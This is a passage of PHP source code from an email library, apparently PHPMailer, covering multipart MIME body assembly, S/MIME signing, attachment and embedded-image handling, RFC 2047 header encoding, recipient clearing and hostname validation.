                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';');
                $body .= $this->textLine(' boundary="' . $this->boundary[2] . '";');
                $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"');
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[2],
                    $bodyCharSet,
                    static::CONTENT_TYPE_TEXT_HTML,
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= static::$LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';');
                $body .= $this->textLine(' boundary="' . $this->boundary[2] . '"');
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[2],
                    $altBodyCharSet,
                    static::CONTENT_TYPE_PLAINTEXT,
                    $altBodyEncoding
                );
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[2],
                    $bodyCharSet,
                    static::CONTENT_TYPE_TEXT_HTML,
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                if (!empty($this->Ical)) {
                    $method = static::ICAL_METHOD_REQUEST;
                    foreach (static::$IcalMethods as $imethod) {
                        if (stripos($this->Ical, 'METHOD:' . $imethod) !== false) {
                            $method = $imethod;
                            break;
                        }
                    }
                    $body .= $this->getBoundary(
                        $this->boundary[2],
                        '',
                        static::CONTENT_TYPE_TEXT_CALENDAR . '; method=' . $method,
                        ''
                    );
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                }
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= static::$LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';');
                $body .= $this->textLine(' boundary="' . $this->boundary[2] . '"');
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[2],
                    $altBodyCharSet,
                    static::CONTENT_TYPE_PLAINTEXT,
                    $altBodyEncoding
                );
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= static::$LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';');
                $body .= $this->textLine(' boundary="' . $this->boundary[3] . '";');
                $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"');
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[3],
                    $bodyCharSet,
                    static::CONTENT_TYPE_TEXT_HTML,
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= static::$LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= static::$LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                //Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
            if ($this->exceptions) {
                throw new Exception($this->lang('empty_message'), self::STOP_CRITICAL);
            }
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new Exception($this->lang('extension_missing') . 'openssl');
                }

                $file = tempnam(sys_get_temp_dir(), 'srcsign');
                $signed = tempnam(sys_get_temp_dir(), 'mailsign');
                file_put_contents($file, $body);

                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        ['file://' . realpath($this->sign_key_file), $this->sign_key_pass],
                        []
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        ['file://' . realpath($this->sign_key_file), $this->sign_key_pass],
                        [],
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }

                @unlink($file);
                if ($sign) {
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . static::$LE . static::$LE;
                    $body = $parts[1];
                } else {
                    @unlink($signed);
                    throw new Exception($this->lang('signing') . openssl_error_string());
                }
            } catch (Exception $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }

        return $body;
    }

    /**
     * Get the boundaries that this message will use
     * @return array
     */
    public function getBoundaries()
    {
        if (empty($this->boundary)) {
            $this->setBoundaries();
        }
        return $this->boundary;
    }

    /**
     * Return the start of a message boundary.
     *
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     *
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ('' === $charSet) {
            $charSet = $this->CharSet;
        }
        if ('' === $contentType) {
            $contentType = $this->ContentType;
        }
        if ('' === $encoding) {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= static::$LE;
        //RFC1341 part 5 says 7bit is assumed if not specified
        if (static::ENCODING_7BIT !== $encoding) {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= static::$LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     *
     * @param string $boundary
     *
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return static::$LE . '--' . $boundary . '--' . static::$LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     */
    protected function setMessageType()
    {
        $type = [];
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ('' === $this->message_type) {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     *
     * @param string     $name
     * @param string|int $value
     *
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . static::$LE;
    }

    /**
     * Return a formatted mail line.
     *
     * @param string $value
     *
     * @return string
     */
    public function textLine($value)
    {
        return $value . static::$LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     *
     * @param string $path        Path to the attachment
     * @param string $name        Overrides the attachment name
     * @param string $encoding    File encoding (see $Encoding)
     * @param string $type        MIME type, e.g. `image/jpeg`; determined automatically from $path if not specified
     * @param string $disposition Disposition to use
     *
     * @throws Exception
     *
     * @return bool
     */
    public function addAttachment(
        $path,
        $name = '',
        $encoding = self::ENCODING_BASE64,
        $type = '',
        $disposition = 'attachment'
    ) {
        try {
            if (!static::fileIsAccessible($path)) {
                throw new Exception($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            //If a MIME type is not specified, try to work it out from the file name
            if ('' === $type) {
                $type = static::filenameToType($path);
            }

            $filename = (string) static::mb_pathinfo($path, PATHINFO_BASENAME);
            if ('' === $name) {
                $name = $filename;
            }
            if (!$this->validateEncoding($encoding)) {
                throw new Exception($this->lang('encoding') . $encoding);
            }

            $this->attachment[] = [
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, //isStringAttachment
                6 => $disposition,
                7 => $name,
            ];
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return false;
        }

        return true;
    }

    /**
     * Return the array of attachments.
     *
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     *
     * @param string $disposition_type
     * @param string $boundary
     *
     * @throws Exception
     *
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        //Return text of body
        $mime = [];
        $cidUniq = [];
        $incl = [];

        //Add all attachments
        foreach ($this->attachment as $attachment) {
            //Check if it is a valid disposition_filter
            if ($attachment[6] === $disposition_type) {
                //Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = hash('sha256', serialize($attachment));
                if (in_array($inclhash, $incl, true)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ('inline' === $disposition && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, static::$LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name=%s%s',
                        $type,
                        static::quotedString($this->encodeHeader($this->secureHeader($name))),
                        static::$LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        static::$LE
                    );
                }
                //RFC1341 part 5 says 7bit is assumed if not specified
                if (static::ENCODING_7BIT !== $encoding) {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, static::$LE);
                }

                //Only set Content-IDs on inline attachments
                if ((string) $cid !== '' && $disposition === 'inline') {
                    $mime[] = 'Content-ID: <' . $this->encodeHeader($this->secureHeader($cid)) . '>' . static::$LE;
                }

                //Allow for bypassing the Content-Disposition header
                if (!empty($disposition)) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (!empty($encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename=%s%s',
                            $disposition,
                            static::quotedString($encoded_name),
                            static::$LE . static::$LE
                        );
                    } else {
                        $mime[] = sprintf(
                            'Content-Disposition: %s%s',
                            $disposition,
                            static::$LE . static::$LE
                        );
                    }
                } else {
                    $mime[] = static::$LE;
                }

                //Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                }
                if ($this->isError()) {
                    return '';
                }
                $mime[] = static::$LE;
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, static::$LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     *
     * @param string $path     The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     *
     * @return string
     */
    protected function encodeFile($path, $encoding = self::ENCODING_BASE64)
    {
        try {
            if (!static::fileIsAccessible($path)) {
                throw new Exception($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $file_buffer = file_get_contents($path);
            if (false === $file_buffer) {
                throw new Exception($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $file_buffer = $this->encodeString($file_buffer, $encoding);

            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     *
     * @param string $str      The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     *
     * @throws Exception
     *
     * @return string
     */
    public function encodeString($str, $encoding = self::ENCODING_BASE64)
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case static::ENCODING_BASE64:
                $encoded = chunk_split(
                    base64_encode($str),
                    static::STD_LINE_LENGTH,
                    static::$LE
                );
                break;
            case static::ENCODING_7BIT:
            case static::ENCODING_8BIT:
                $encoded = static::normalizeBreaks($str);
                //Make sure it ends with a line break
                if (substr($encoded, -(strlen(static::$LE))) !== static::$LE) {
                    $encoded .= static::$LE;
                }
                break;
            case static::ENCODING_BINARY:
                $encoded = $str;
                break;
            case static::ENCODING_QUOTED_PRINTABLE:
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                if ($this->exceptions) {
                    throw new Exception($this->lang('encoding') . $encoding);
                }
                break;
        }

        return $encoded;
    }

    /**
     * Encode a header value (not including its label) optimally.
     * Picks shortest of Q, B, or none. Result includes folding if needed.
     * See RFC822 definitions for phrase, comment and text positions.
     *
     * @param string $str      The header value to encode
     * @param string $position What context the string will be used in
     *
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    //Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str === $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return $encoded;
                    }

                    return "\"$encoded\"";
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /* @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
            //fallthrough
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        if ($this->has8bitChars($str)) {
            $charset = $this->CharSet;
        } else {
            $charset = static::CHARSET_ASCII;
        }

        //Q/B encoding adds 8 chars and the charset ("` =?<charset>?[QB]?<content>?=`").
        $overhead = 8 + strlen($charset);

        if ('mail' === $this->Mailer) {
            $maxlen = static::MAIL_MAX_LINE_LENGTH - $overhead;
        } else {
            $maxlen = static::MAX_LINE_LENGTH - $overhead;
        }

        //Select the encoding that produces the shortest output and/or prevents corruption.
        if ($matchcount > strlen($str) / 3) {
            //More than 1/3 of the content needs encoding, use B-encode.
            $encoding = 'B';
        } elseif ($matchcount > 0) {
            //Less than 1/3 of the content needs encoding, use Q-encode.
            $encoding = 'Q';
        } elseif (strlen($str) > $maxlen) {
            //No encoding needed, but value exceeds max line length, use Q-encode to prevent corruption.
            $encoding = 'Q';
        } else {
            //No reformatting needed
            $encoding = false;
        }

        switch ($encoding) {
            case 'B':
                if ($this->hasMultiBytes($str)) {
                    //Use a custom function which correctly encodes and wraps long
                    //multibyte strings without breaking lines within a character
                    $encoded = $this->base64EncodeWrapMB($str, "\n");
                } else {
                    $encoded = base64_encode($str);
                    $maxlen -= $maxlen % 4;
                    $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
                }
                $encoded = preg_replace('/^(.*)$/m', ' =?' . $charset . "?$encoding?\\1?=", $encoded);
                break;
            case 'Q':
                $encoded = $this->encodeQ($str, $position);
                $encoded = $this->wrapText($encoded, $maxlen, true);
                $encoded = str_replace('=' . static::$LE, "\n", trim($encoded));
                $encoded = preg_replace('/^(.*)$/m', ' =?' . $charset . "?$encoding?\\1?=", $encoded);
                break;
            default:
                return $str;
        }

        return trim(static::normalizeBreaks($encoded));
    }

    /**
     * Check if a string contains multi-byte characters.
     *
     * @param string $str multi-byte text to wrap encode
     *
     * @return bool
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return strlen($str) > mb_strlen($str, $this->CharSet);
        }

        //Assume no multibytes (we can't handle without mbstring functions anyway)
        return false;
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     *
     * @param string $text
     *
     * @return bool
     */
    public function has8bitChars($text)
    {
        return (bool) preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid.
     *
     * @see https://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     *
     * @param string $str       multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     *
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if (null === $linebreak) {
            $linebreak = static::$LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        //Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        //Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        //Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        $offset = 0;
        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                ++$lookBack;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        //Chomp the last linefeed
        return substr($encoded, 0, -strlen($linebreak));
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     *
     * @param string $string The text to encode
     *
     * @return string
     */
    public function encodeQP($string)
    {
        return static::normalizeBreaks(quoted_printable_encode($string));
    }

    /**
     * Encode a string using Q encoding.
     *
     * @see https://www.rfc-editor.org/rfc/rfc2047#section-4.2
     *
     * @param string $str      the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     *
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        //There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(["\r", "\n"], '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                //RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /*
             * RFC 2047 section 5.2.
             * Build $pattern without including delimiters and []
             */
            /* @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $pattern = '\(\)"';
            /* Intentional fall through */
            case 'text':
            default:
                //RFC 2047 section 5.1
                //Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = [];
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            //If the string contains an '=', make sure it's the first thing we replace
            //so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0], true);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        //Replace spaces with _ (more readable than =20)
        //RFC 2047 section 4.2(2)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     *
     * @param string $string      String attachment data
     * @param string $filename    Name of the attachment
     * @param string $encoding    File encoding (see $Encoding)
     * @param string $type        File extension (MIME) type
     * @param string $disposition Disposition to use
     *
     * @throws Exception
     *
     * @return bool True on successfully adding an attachment
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = self::ENCODING_BASE64,
        $type = '',
        $disposition = 'attachment'
    ) {
        try {
            //If a MIME type is not specified, try to work it out from the file name
            if ('' === $type) {
                $type = static::filenameToType($filename);
            }

            if (!$this->validateEncoding($encoding)) {
                throw new Exception($this->lang('encoding') . $encoding);
            }

            //Append to $attachment array
            $this->attachment[] = [
                0 => $string,
                1 => $filename,
                2 => static::mb_pathinfo($filename, PATHINFO_BASENAME),
                3 => $encoding,
                4 => $type,
                5 => true, //isStringAttachment
                6 => $disposition,
                7 => 0,
            ];
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return false;
        }

        return true;
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the `$cid` value in `img` tags, for example `<img src="cid:mylogo">`.
     * Never use a user-supplied path to a file!
     *
     * @param string $path        Path to the attachment
     * @param string $cid         Content ID of the attachment; Use this to reference
     *                            the content when using an embedded image in HTML
     * @param string $name        Overrides the attachment filename
     * @param string $encoding    File encoding (see $Encoding) defaults to `base64`
     * @param string $type        File MIME type (by default mapped from the `$path` filename's extension)
     * @param string $disposition Disposition to use: `inline` (default) or `attachment`
     *                            (unlikely you want this – {@see `addAttachment()`} instead)
     *
     * @return bool True on successfully adding an attachment
     * @throws Exception
     *
     */
    public function addEmbeddedImage(
        $path,
        $cid,
        $name = '',
        $encoding = self::ENCODING_BASE64,
        $type = '',
        $disposition = 'inline'
    ) {
        try {
            if (!static::fileIsAccessible($path)) {
                throw new Exception($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            //If a MIME type is not specified, try to work it out from the file name
            if ('' === $type) {
                $type = static::filenameToType($path);
            }

            if (!$this->validateEncoding($encoding)) {
                throw new Exception($this->lang('encoding') . $encoding);
            }

            $filename = (string) static::mb_pathinfo($path, PATHINFO_BASENAME);
            if ('' === $name) {
                $name = $filename;
            }

            //Append to $attachment array
            $this->attachment[] = [
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, //isStringAttachment
                6 => $disposition,
                7 => $cid,
            ];
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return false;
        }

        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * If your filename doesn't contain an extension, be sure to set the $type to an appropriate MIME type.
     *
     * @param string $string      The attachment binary data
     * @param string $cid         Content ID of the attachment; Use this to reference
     *                            the content when using an embedded image in HTML
     * @param string $name        A filename for the attachment. If this contains an extension,
     *                            PHPMailer will attempt to set a MIME type for the attachment.
     *                            For example 'file.jpg' would get an 'image/jpeg' MIME type.
     * @param string $encoding    File encoding (see $Encoding), defaults to 'base64'
     * @param string $type        MIME type - will be used in preference to any automatically derived type
     * @param string $disposition Disposition to use
     *
     * @throws Exception
     *
     * @return bool True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = self::ENCODING_BASE64,
        $type = '',
        $disposition = 'inline'
    ) {
        try {
            //If a MIME type is not specified, try to work it out from the name
            if ('' === $type && !empty($name)) {
                $type = static::filenameToType($name);
            }

            if (!$this->validateEncoding($encoding)) {
                throw new Exception($this->lang('encoding') . $encoding);
            }

            //Append to $attachment array
            $this->attachment[] = [
                0 => $string,
                1 => $name,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => true, //isStringAttachment
                6 => $disposition,
                7 => $cid,
            ];
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return false;
        }

        return true;
    }

    /**
     * Validate encodings.
     *
     * @param string $encoding
     *
     * @return bool
     */
    protected function validateEncoding($encoding)
    {
        return in_array(
            $encoding,
            [
                self::ENCODING_7BIT,
                self::ENCODING_QUOTED_PRINTABLE,
                self::ENCODING_BASE64,
                self::ENCODING_8BIT,
                self::ENCODING_BINARY,
            ],
            true
        );
    }

    /**
     * Check if an embedded attachment is present with this cid.
     *
     * @param string $cid
     *
     * @return bool
     */
    protected function cidExists($cid)
    {
        foreach ($this->attachment as $attachment) {
            if ('inline' === $attachment[6] && $cid === $attachment[7]) {
                return true;
            }
        }

        return false;
    }

    /**
     * Check if an inline attachment is present.
     *
     * @return bool
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ('inline' === $attachment[6]) {
                return true;
            }
        }

        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     *
     * @return bool
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ('attachment' === $attachment[6]) {
                return true;
            }
        }

        return false;
    }

    /**
     * Check if this message has an alternative body set.
     *
     * @return bool
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     *
     * @param string $kind 'to', 'cc', or 'bcc'
     */
    public function clearQueuedAddresses($kind)
    {
        $this->RecipientsQueue = array_filter(
            $this->RecipientsQueue,
            static function ($params) use ($kind) {
                return $params[0] !== $kind;
            }
        );
    }

    /**
     * Clear all To recipients.
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = [];
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = [];
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = [];
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = [];
        $this->ReplyToQueue = [];
    }

    /**
     * Clear all recipient types.
     */
    public function clearAllRecipients()
    {
        $this->to = [];
        $this->cc = [];
        $this->bcc = [];
        $this->all_recipients = [];
        $this->RecipientsQueue = [];
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     */
    public function clearAttachments()
    {
        $this->attachment = [];
    }

    /**
     * Clear all custom headers.
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = [];
    }

    /**
     * Clear a specific custom header by name or name and value.
     * $name value can be overloaded to contain
     * both header name and value (name:value).
     *
     * @param string      $name  Custom header name
     * @param string|null $value Header value
     *
     * @return bool True if a header was replaced successfully
     */
    public function clearCustomHeader($name, $value = null)
    {
        if (null === $value && strpos($name, ':') !== false) {
            //Value passed in as name:value
            list($name, $value) = explode(':', $name, 2);
        }
        $name = trim($name);
        $value = (null === $value) ? null : trim($value);

        foreach ($this->CustomHeader as $k => $pair) {
            if ($pair[0] == $name) {
                // We remove the header if the value is not provided or it matches.
                if (null === $value ||  $pair[1] == $value) {
                    unset($this->CustomHeader[$k]);
                }
            }
        }

        return true;
    }

    /**
     * Replace a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value).
     *
     * @param string      $name  Custom header name
     * @param string|null $value Header value
     *
     * @return bool True if a header was replaced successfully
     * @throws Exception
     */
    public function replaceCustomHeader($name, $value = null)
    {
        if (null === $value && strpos($name, ':') !== false) {
            //Value passed in as name:value
            list($name, $value) = explode(':', $name, 2);
        }
        $name = trim($name);
        $value = (null === $value) ? '' : trim($value);

        $replaced = false;
        foreach ($this->CustomHeader as $k => $pair) {
            if ($pair[0] == $name) {
                if ($replaced) {
                    unset($this->CustomHeader[$k]);
                    continue;
                }
                if (strpbrk($name . $value, "\r\n") !== false) {
                    if ($this->exceptions) {
                        throw new Exception($this->lang('invalid_header'));
                    }

                    return false;
                }
                $this->CustomHeader[$k] = [$name, $value];
                $replaced = true;
            }
        }

        return true;
    }

    /**
     * Add an error message to the error container.
     *
     * @param string $msg
     */
    protected function setError($msg)
    {
        ++$this->error_count;
        if ('smtp' === $this->Mailer && null !== $this->smtp) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' ' . $this->lang('smtp_detail') . $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' ' . $this->lang('smtp_code') . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' ' . $this->lang('smtp_code_ex') . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     *
     * @return string
     */
    public static function rfcDate()
    {
        //Set the time zone to whatever the default is to avoid 500 errors
        //Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());

        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     *
     * @return string
     */
    protected function serverHostname()
    {
        $result = '';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) && array_key_exists('SERVER_NAME', $_SERVER)) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== '') {
            $result = php_uname('n');
        }
        if (!static::isValidHost($result)) {
            return 'localhost.localdomain';
        }

        return $result;
    }

    /**
     * Validate whether a string contains a valid value to use as a hostname or IP address.
     * IPv6 addresses must include [], e.g. `[::1]`, not just `::1`.
     *
     * @param string $host The host name or IP address to check
     *
     * @return bool
     */
    public static function isValidHost($host)
    {
        //Simple syntax limits
        if (
            empty($host)
            || !is_string($host)
            || strlen($host) > 256
            || !preg_match('/^([a-z\d.-]*|\[[a-f\d:]+\])$/i', $host)
        ) {
            return false;
        }
        //Looks like a bracketed IPv6 address
        if (strlen($host) > 2 && substr($host, 0, 1) === '[' && substr($host, -1, 1) === ']') {
            return filter_var(substr($host, 1, -1), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false;
        }
